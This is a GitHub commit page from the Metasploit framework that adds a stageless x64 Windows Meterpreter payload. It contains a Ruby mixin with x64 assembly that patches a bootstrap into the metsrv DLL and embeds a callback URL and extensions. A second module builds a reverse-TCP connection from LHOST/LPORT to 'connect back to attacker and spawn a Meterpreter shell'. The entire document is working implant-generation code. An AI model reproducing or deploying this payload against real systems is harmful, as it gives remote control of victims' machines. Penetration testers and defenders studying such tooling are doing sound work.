Skip to content

Commit 24d74b2

Browse files
committed
Beginning work for stageless x64 meterpreter
1 parent 1b3dfe6 commit 24d74b2

File tree

2 files changed

+153
-0
lines changed

2 files changed

+153
-0
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
#-*- coding: binary -*-
2+
3+
require 'msf/core'
4+
5+
module Msf
6+
7+
##
8+
#
9+
# Implements stageless invocation of metsrv in x64
10+
#
11+
##
12+
13+
module Payload::Windows::StagelessMeterpreter_x64
14+
15+
include Msf::Payload::Windows
16+
include Msf::Payload::Single
17+
include Msf::ReflectiveDLLLoader
18+
19+
def asm_invoke_metsrv(opts={})
20+
asm = %Q^
21+
; prologue
22+
pop r10 ; 'MZ'
23+
int 03
24+
push r10 ; back to where we started
25+
push rbp ; save rbp
26+
mov rbp, rsp ; set up a new stack frame
27+
sub rsp, 32 ; allocate some space for calls.
28+
; GetPC
29+
call $+9 ; relative call to get location
30+
pop rbx ; pop return value
31+
;lea rbx, [rel+0] ; get the VA for the start of this stub
32+
; Invoke ReflectiveLoader()
33+
; add the offset to ReflectiveLoader()
34+
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 10)}
35+
call rbx ; invoke ReflectiveLoader()
36+
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
37+
; offset from ReflectiveLoader() to the end of the DLL
38+
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
39+
mov r8, rbx ; r8 points to the extension list
40+
mov rbx, rax ; save DllMain for another call
41+
push 4 ; push up 4, indicate that we have attached
42+
pop rdx ; pop 4 into rdx
43+
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
44+
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
45+
; push the exitfunk value onto the stack
46+
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
47+
push 5 ; push 5, indicate that we have detached
48+
pop rdx ; pop 5 into rdx
49+
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
50+
^
51+
52+
asm
53+
end
54+
55+
def generate_stageless_meterpreter(url = nil)
56+
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
57+
58+
conf = {
59+
:rdi_offset => offset,
60+
:length => dll.length,
61+
:exitfunk => datastore['EXITFUNC']
62+
}
63+
64+
asm = asm_invoke_metsrv(conf)
65+
66+
# generate the bootstrap asm
67+
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
68+
69+
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
70+
if bootstrap.length > 62
71+
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
72+
return
73+
end
74+
75+
# patch the binary with all the stuff
76+
dll[0, bootstrap.length] = bootstrap
77+
78+
# the URL might not be given, as it might be patched in some other way
79+
if url
80+
url = "s#{url}\x00"
81+
location = dll.index("https://#{'X' * 256}")
82+
if location
83+
dll[location, url.length] = url
84+
end
85+
end
86+
87+
# if a block is given then call that with the meterpreter dll
88+
# so that custom patching can happen if required
89+
yield dll if block_given?
90+
91+
# append each extension to the payload, including
92+
# the size of the extension
93+
unless datastore['EXTENSIONS'].nil?
94+
datastore['EXTENSIONS'].split(',').each do |e|
95+
e = e.strip.downcase
96+
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
97+
98+
# append the size, offset to RDI and the payload itself
99+
dll << [ext.length].pack('V') + ext
100+
end
101+
end
102+
103+
# Terminate the "list" of extensions
104+
dll + [0].pack('V')
105+
end
106+
107+
end
108+
109+
end
110+
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp'
8+
require 'msf/core/payload/windows/x64/stageless_meterpreter'
9+
require 'msf/base/sessions/meterpreter_x64_win'
10+
require 'msf/base/sessions/meterpreter_options'
11+
12+
module Metasploit4
13+
14+
CachedSize = :dynamic
15+
16+
include Msf::Payload::Windows::StagelessMeterpreter_x64
17+
include Msf::Sessions::MeterpreterOptions
18+
19+
def initialize(info = {})
20+
21+
super(merge_info(info,
22+
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline x64',
23+
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
24+
'Author' => [ 'OJ Reeves' ],
25+
'License' => MSF_LICENSE,
26+
'Platform' => 'win',
27+
'Arch' => ARCH_X64,
28+
'Handler' => Msf::Handler::ReverseTcp,
29+
'Session' => Msf::Sessions::Meterpreter_x64_Win
30+
))
31+
32+
register_options([
33+
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
34+
], self.class)
35+
end
36+
37+
def generate
38+
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
39+
generate_stageless_meterpreter(url)
40+
end
41+
42+
end
43+

0 commit comments

Comments
 (0)